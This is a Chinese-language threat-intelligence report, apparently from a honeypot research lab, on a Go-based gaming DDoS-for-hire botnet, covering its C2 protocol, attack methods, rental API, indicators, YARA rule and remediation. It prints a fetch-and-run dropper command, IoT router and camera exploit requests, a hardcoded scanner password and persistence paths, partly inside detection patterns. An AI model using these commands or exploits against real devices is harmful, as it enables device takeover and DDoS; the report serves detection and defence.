malware · botnet · ddos · golang · iot · honeypot · gaming · mirai

深入一场面向游戏的 DDoS 出租行动

Kinryū Labs 以高置信度评估,这是一场运行在共享僵尸网络构建套件之上的商业化游戏 DDoS 出租行动。同一套 Go 代码库被不同的操作者以各自的 C2 服务器和攻击载荷编译;此处分析的这支机群对外提供一个自助式、需账户认证的出租 API,以及一份约 28 到 32 台设备的在线僵尸库存,将客户的攻击订单派发向游戏与语音基础设施。其原始 TCP 命令通道无需认证,而僵尸注册则被置于一条需密码认证的 SSH 通道之后。

作者 Davis Zheng·

TLP:CLEAR。已批准公开发布。由 Kinryū Labs 蜜罐传感器网络捕获。下列指标均已做无害化(defang)处理。

摘要

  • 11覆盖 7 种架构的唯一二进制
  • 28-32出租 API 上的活跃僵尸
  • 1具备 SSH 能力的变体(Windows PE)

这是一个基于 Go、具备 IoT 蠕虫能力的 DDoS 僵尸网络,通过一个多架构投放器(bins.sh)分发,并作为一项商业化 DDoS 出租服务运营。僵尸程序通过原始 TCP 连接到其命令控制服务器,周期性发送 STATS 心跳,并接收以行分隔的攻击命令。Kinryū Labs 以高置信度评估,这是一个正在运作的、面向游戏的 DDoS 出租僵尸网络。

其区别性特征是一种认证上的不对称。9111/tcp 上的命令通道无需认证:在 TCP 连接与命令派发之间,不传递任何密码、令牌或质询响应。僵尸注册则被单独追踪于 911/tcp 上一条需密码认证的 SSH 通道,且出租 API 的僵尸计数反映的是那些经认证的注册、而非开放的命令连接。所分析的二进制仅使用原始 TCP 通道、且不携带任何 SSH 客户端,因此注册由一个独立的加载器组件处理。

这场行动作为一门看得见的生意运营。其命令控制主机对外提供一个自助式、需账户认证的 DDoS 出租 API,公布其僵尸库存的在线计数,并且是从同一套僵尸网络套件搭建出的多个店面之一。在数小时的监测中,该服务实时派发了客户的攻击订单。

关键判断
  • 命令通道无需认证;注册则需要。指向 9111 的原始 TCP 无需任何认证即接受命令,而出租 API 的僵尸计数追踪的是 911 上经密码认证的 SSH 会话。实测确认,一次指向 9111 的原始 TCP 连接,以及一次在 911 上未认证的 SSH 密钥交换,都不会改变僵尸计数。
  • 这支机群是一套 Go 代码库、以多种方式编译而成。C2 文件服务器上的十六个文件,去重后为覆盖七种架构的十一个唯一二进制,全部共享模块路径 Botnet/Bot 与构建标志 -tags=netgo -trimpath=true。Windows PE 是唯一带有 SSH 客户端的变体;Linux 与 IoT 构建则通过扫描器利用与投放器传播。
  • 该服务瞄准游戏 stresser 市场。其方法集包含 FiveM、Minecraft 与 Discord 洪水,且我们捕获到的实时攻击命令几乎全部指向游戏与语音基础设施。
  • 该框架是一套 Mirai 血统的设计、以 Go 重写。它沿用了 Mirai 的结构性模式:一条未认证的 TCP 命令通道、以文本分隔的命令、每次攻击一个 goroutine 的派发方式,以及一个命中相同利用目标的 IoT 扫描器;这些以 Go 重新实现,并加上了面向游戏市场的方法、TLS/HTTPS 洪水,以及一个外挂上去的出租 API。
  • 这是一套共享的构建套件,而非定制的僵尸网络。一台次级投放器服务器与另一名操作者的 C2 共享基础设施,而从这套套件搭建出的各支机群共享模块路径、扫描器、持久化机制与路由器利用,仅在 C2 地址与攻击方法选择上有所不同。

套件及其变体

C2 托管着一个开放目录,用以提供整支僵尸机群。十六个文件按 SHA-256 去重后为十一个唯一二进制,覆盖 x86、x86-64、ARM(v5/v6/v7)、ARM64 与 MIPS(大端与小端),外加一个 Windows PE 和一个极简桩。全部共享 Botnet/Bot 这套 Go 代码库,以 Go 1.26.4 编译,除 Windows 构建的 SSH 客户端外没有任何第三方导入。

有三点值得注意:

  • Windows PE 是唯一具备 SSH 能力的变体。 只有 bot.exe 导入了 golang.org/x/crypto/ssh;对 Linux amd64 构建的完整字符串扫描,以及对全部十一个唯一二进制的跨样本比对,均未在别处发现 SSH 导入。Linux 与 IoT 变体通过扫描器和投放器扩散。
  • 有一个变体是较旧的、不含 C2 的构建。 x866 以 Go 1.25.6 编译,相较于机群其余部分的 1.26.4,它是体积最小的 ELF 变体,且不携带可见的 C2 地址;该地址很可能是经过编码或在运行时提供。它共享 Botnet/Bot 代码库,将其与同一名操作者关联起来。
  • sora.x86 不是僵尸网络。 尽管其文件名令人联想到 Mirai 的 “Sora” 家族,它其实是由同一工具链构建的极简 Go 桩,其全部用户代码只打印 sora.x86 is running 后退出,没有 C2 地址、扫描器、攻击方法或凭据。它最有可能充当一个进程哨兵,或是文件服务器上的一个诱饵。

对 Windows PE 的三次捕获横跨约一周:其中两次逐字节相同,稍晚的一次是体积更小、已剥符号的重新构建,而更晚的一次是与原始版本不同的、功能完整的重新编译。

C2 协议

命令通道是原始 TCP,没有传输层认证。其连接流程为:一次可选的配置取回(GET /config.dat,对照一个内嵌的 checkcode 校验)、一段持久化例程,然后一次指向命令端口的 net.Dial,此后僵尸程序读取命令、而不先写出任何内容。

僵尸程序 (每台主机) SSH · :911 · 密码认证 已注册 由 /stats 计数 原始 TCP · :9111 · 无需认证 攻击命令 + STATS 心跳 HTTP · :9111/config.dat 配置
评估得出的僵尸生命周期。注册需认证,并驱动出租 API 的僵尸计数;命令通道则不需认证。
  • 心跳: STATS|%d|%d|%d|%d|%s\n。末尾字段为操作系统或架构(例如 amd64);四个整数分别报告攻击、连接、扫描与感染计数。
  • 命令: 以换行分隔、按空白拆分,形式为 ATTACK_TYPE TARGET PORT DURATION [OPTIONS...]。第一个字段选择方法,数值字段以 strconv.Atoi 解析。
  • 重连: 一个 120 秒的计时器重新进入连接循环。
  • 配置: 凭据与配置从 config.dat 拉取,并以一种自定义的多阶段 XOR 密码解码(一个以空格初始化的 4,078 字节缓冲区,再与两个固定密钥字节 0x240x3C 做字节级 XOR)。在分析时 config.dat 未在提供,表明操作者已将其禁用或移走。

攻击方法

僵尸程序内置一套广泛的 DDoS 工具箱,以下依据其函数名与日志字符串编目:

攻击方法

面向游戏: FiveMFlood、FiveMBypass、FiveMTCP、Minecraft、Discord。

第 7 层: HTTPSFlood(Starting Optimized HTTPS Flood on)、Bypass、TLSFlood、TLSPlusFlood、TLSPlusBypassFlood、Priv7Flood(PRIV7 Attack finished)。

第 4 层: TCPFlood、PPSFlood、PPSRawFlood、RawTCPFlood、RawACKFlood、ResetAttack。

第 3 层: UdpFlood、RawUDPFlood、UDPPPSFlood(Extreme UDP (PPS))、GbpsFlood(High GBPS)、DNSFlood。

特殊/特定托管: OVHFlood(针对 OVH)、GameFlood、FortAttack(Fortnite)、Crash、Freez。

仅限 Linux(不在 PE 构建中): NtpAmp(完整的 NTP 放大;PE 中只带一个桩)、HandshakeFlood(带 IP 伪造的原始套接字 TCP SYN 洪水)、VoultFlood(带校验和计算的原始套接字洪水)。

这些 HTTP 洪水会轮换十二个硬编码的浏览器 User-Agent 字符串,并从一组高信誉站点(google.comtwitter.comfacebook.comfbi.govreddit.combing.com)中设置一个 Referer,以混入合法流量并绕过 WAF 过滤。

扫描器与 IoT 蠕虫

扫描器暴力破解 IoT 登录凭据,并利用若干嵌入式设备的 web 技术栈:JAWS DVR/IP 摄像头(GET /syscmd.htm)、路由器上的 Boa web 服务器(POST /boafrm/formSysCmdPOST /boafrm/formLogin),以及基于 GoAhead 的设备(setUserLogin 用于认证绕过与管理员用户创建,getSanvas 用于配置导出)。被攻陷的设备被驱使运行 wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh

凭据是分开的。一个扫描器密码硬编码在二进制中(555111111!!,用户名很可能是 555),而大批量的凭据清单则在运行时从 config.dat 拉取并经 XOR 解码。

持久化使用四种机制外加进程伪装:位于 /etc/systemd/system/sysd.service 的一个 systemd 单元(配合 daemon-reload)、经由 /tmp/cron_tmp 的一条 cron 条目、rc.local/etc/rc.local/etc/rc.d/rc.local),以及 init.d/etc/init.d/boot.local)。该进程伪装成一个名为 sysd 的系统守护进程。

出租行动

命令控制主机被安排得像一门生意。它在 22 上暴露操作者 SSH,在 911 上暴露一条 Go SSH 僵尸注册通道(密码认证,使用一个独立的 RSA-2048 密钥),在 3333 上暴露一个 DDoS 出租 HTTP API,在 9111 上暴露原始 TCP 命令通道,并在 5001 上暴露一个开放目录文件服务器,托管供下载的僵尸机群。

客户 付费获取访问 订单 出租 API :3333 · 需账户认证 命令 C2 · :9111 28-32 个僵尸 未认证 洪水 目标
出租服务。一个经认证的订单(host、method、time、port)成为一条命令,通过未认证通道派发给僵尸库存。

一个自助式店面。 3333 上的 API 是一个极简的、单端点的 booter。/stats 返回僵尸库存的在线计数;/api 接收订单。它校验 userpsw(每客户的账户凭据),连同 hostmethodtime/durationport(目标与攻击参数),并拒绝任何缺失或未认证的请求。该订单表单从未认证的探测中即可见:

GET /stats
{"time":<unix>,"total":30}

GET /api
Missing parameters: user, psw, host, method, time/duration, port

GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed

该订单表单与僵尸程序的命令格式(ATTACK_TYPE TARGET PORT DURATION)一一对应:一个经认证的 API 请求成为通过未认证的 9111 通道派发给每一个已注册僵尸的单行命令。

一份经过筛选的库存。 在监测窗口内,/stats 报告了 28 到 32 个活跃僵尸,并伴有持续的更替。由于该计数器追踪的是 911 上经密码认证的注册、而非原始的命令连接,它是一份经审核的库存计数。这正是注册与命令派发被拆分到两条通道的运营原因:一道关卡用于决定哪些僵尸属于该服务,一条开放通道用于驱动它们。

从挖矿转向 DDoS 的转型。 次级投放器服务器在 DDoS 机群之外还带有一个已清空的 miner.sh,那是一个此后被移除的加密矿工组件的残留。该操作者似乎已从加密挖矿转向售卖 DDoS。

订单履行(实时观测)

我们用一个被动监视器对照在线 C2 验证了逆向出来的协议,并观察了该服务的运作。C2 大多处于空闲;在一次持续数小时的会话中,它派发了十三条攻击命令,每一条都是推送给机群的一个客户订单。

这些订单几乎全部瞄准游戏与语音基础设施:主要是位于沙特阿拉伯、托管在 Google Cloud 上的 FiveM(GTA V)游戏服务器,此外还有托管在 Cloudflare 上的 Discord 语音端点,以及一对 web 服务器。我们评估这是一项面向游戏的 stresser 服务,针对某一具体的客户冲突而行动。其派发模式读来像是服务交付:形似产品档位的分级攻击时长(20 秒试探、30 秒标准、60 秒持续)、方法的逐级升级(先用一种通用洪水测试目标,再对其施以特定协议的方法)、成对且突发式的派发之后归于沉寂,以及对一台 Discord 服务器负载均衡语音背后的两个 IP 双双打击。

一套共享的构建套件

这不是一个定制的僵尸网络。它是一套僵尸网络套件的一个构建,不同的操作者对其加以定制、并作为各自的服务运营。观察这套套件最清晰的方式,是把它与我们此前报告 一个跨平台的 Go DDoS 出租型僵尸网络 中的机群并置对照,那支机群运行在相同的代码库上:

此前报告本次行动
代码库Botnet/Bot Go 套件同一套 Botnet/Bot Go 套件
投递Jenkins RCE + IoT 扫描器Jenkins RCE + IoT 扫描器
扫描器、持久化、路由器利用共享共享
C2 地址185.226.93[.]2425.175.140[.]178
载荷与市场通用型 DDoS游戏 stresser(FiveM、Minecraft、Discord)

这些机群共享 Botnet/Bot 模块路径、相同的扫描器与 IoT 利用、相同的持久化机制以及相同的投放器,并且运行在相互重叠的基础设施上:此处的次级投放器服务器(185.226.93[.]242)正是此前报告中的 C2。所不同的是载荷与市场。那另一支机群编译的是一套通用洪水方法集;而此处的操作者编译的是游戏方法,并配备出租订单 API,直指游戏 stresser 市场。两者共同指向一种构建套件经济:一套共享代码库被转售或流传,每名操作者以各自的目标搭起一个店面。

失陷指标

攻击者基础设施已做无害化处理。哈希按原样复现。

网络

指标上下文
5.175.140[.]178:911/tcp僵尸注册(Go SSH,密码认证;由出租 API 计数)
5.175.140[.]178:9111/tcp命令派发(原始 TCP,未认证;不计数)
5.175.140[.]178:3333/tcpDDoS 出租 API(/stats/api
5.175.140[.]178:5001/tcp开放目录文件服务器(僵尸机群 + 投放器)
5.175.140[.]178:22/tcp操作者 SSH(OpenSSH 9.7p1 Ubuntu)
hxxp://5.175.140[.]178:9111/config.dat通过原始 TCP 的配置取回
hxxp://5.175.140[.]178:5001/bins.sh多架构投放器(主)
185.226.93[.]242:1001/tcp次级投放器(另一名操作者的 C2)
hxxp://185.226.93[.]242:1001/bins.sh, …/binns.sh投放器(次级 + 拼写错误变体)
217.60.195[.]229投递该样本的源地址
5.175.140[.]0/24托管分配

扫描器/传播字符串

GET /syscmd.htm HTTP/1.1                    (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1            (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1            (Boa login)
GET /login.htm HTTP/1.1                     (router login page)
{"topicurl":"setting/setUserLogin",...}    (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"}           (GoAhead config extraction)
GET /config.dat HTTP/1.1                    (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt

主机制品

Process name:  sysd
systemd:       /etc/systemd/system/sysd.service   (+ daemon-reload)
cron:          /tmp/cron_tmp
rc.local:      /etc/rc.local, /etc/rc.d/rc.local
init.d:        /etc/init.d/boot.local
Hardcoded scanner credential:  555111111!!   (likely username 555)

文件(SHA-256),除注明外均为 Go 1.26.4

完整文件哈希
bot.exe (Windows PE, only SSH-capable variant), captures:
  6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4   (6,253,056 bytes)
  36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25   (4,933,632 bytes, stripped rebuild)
  4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804   (6,020,608 bytes, full rebuild)

Linux amd64:   8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical):  d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l):   523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5:    362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6:    2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64):  428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE):   6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE):   3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP):   f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet):     a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
  sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
  sora.x86 MD5:   3f95cf1ed17f7e00a7be4f5cf12e0088

x86/i386、ARM7 组(android_arm/arm/arm7/armv7l),以及 android_arm64/arm64 逐字节相同;arm6 尽管大小相同,却与 ARM7 组不同(GOARM 代码生成不同)。

托管

Provider:     Ryzehosting
Maintainer:   GHOSTNET-MNT
Abuse:        [email protected]
Reverse DNS:  static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15

检测

这些字符串稳定且未混淆,因此签名很直接。下面这条候选 YARA 规则基于有辨识度的字符串构建;部署前请先验证。

rule go_gaming_ddos_bot_candidate
{
    meta:
        description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "6da75697...78d4"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $mod   = "Botnet/Bot" ascii
        $cnc1  = "Connecting to CNC" ascii
        $cnc2  = "Connected to CNC" ascii
        $stats = "STATS|" ascii
        $svc   = "/etc/systemd/system/sysd.service" ascii
        $cron  = "/tmp/cron_tmp" ascii
        $fivem = "Starting FiveM Flood on" ascii
        $cred  = "555111111!!" ascii

    condition:
        ($mod and 2 of ($cnc1, $cnc2, $stats)) or
        ($svc and $cron) or
        (2 of ($fivem, $cred, $stats))
}

额外的检测逻辑:

# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n

# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}

# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh

修复

  • 不要把 Jenkins,或其他 CI/CD 与管理界面,暴露到互联网。 这就是投递向量。
  • 修补或分段隔离基于 JAWS、Boa 与 GoAhead 的 IoT 设备, 并封锁对其管理界面的外部访问。这些是扫描器的传播目标。
  • 在边界封锁 C2 与投放器基础设施5.175.140[.]178 以及 185.226.93[.]242:1001 投放器),并对 config.dat 取回与 bins.sh 执行链告警。
  • 对持久化制品与 sysd 进程名告警, 并对出站流量中的 STATS| 心跳模式告警。

MITRE ATT&CK 映射

战术技术
Initial AccessT1190 Exploit Public-Facing Application(Jenkins 投递;JAWS / Boa / GoAhead IoT web 技术栈利用)
ExecutionT1059.004 Command and Scripting Interpreter: Unix Shell(bins.sh 投放器)
PersistenceT1543.002 Systemd Service(sysd.service);T1053.003 Cron;T1037.004 RC Scripts(rc.local);init.d 启动脚本
Defense EvasionT1036 Masquerading(进程名 sysd;浏览器 User-Agent 与 referer 伪造);T1027 Obfuscated Files or Information(XOR 编码的 config.dat
Credential AccessT1110 Brute Force(IoT 设备登录)
DiscoveryT1046 Network Service Scanning(IoT 扫描器)
Command and ControlT1071.001 Web Protocols(config.dat);T1571 Non-Standard Port(911911133335001);T1105 Ingress Tool Transfer(多架构投放器)
ImpactT1498.001 Direct Network Flood(UDP / TCP / PPS / FiveM / Discord);T1498.002 Reflection Amplification(DNS / NTP)

方法论与备注

  • 分析为静态逆向工程外加被动的实时协议验证;这些二进制从未执行。
  • 指标已做无害化处理,哈希按原样复现。
  • 样本可应其他研究者与防御方的请求提供。请发邮件至 [email protected],并简短说明你的身份以及索取用途。
Sample
Go DDoS botnet · 6da756970a411dad…
How to cite
Kinryū Labs (2026). 深入一场面向游戏的 DDoS 出租行动. https://kinryu.sh/zh/reports/gaming-ddos-for-hire-operation/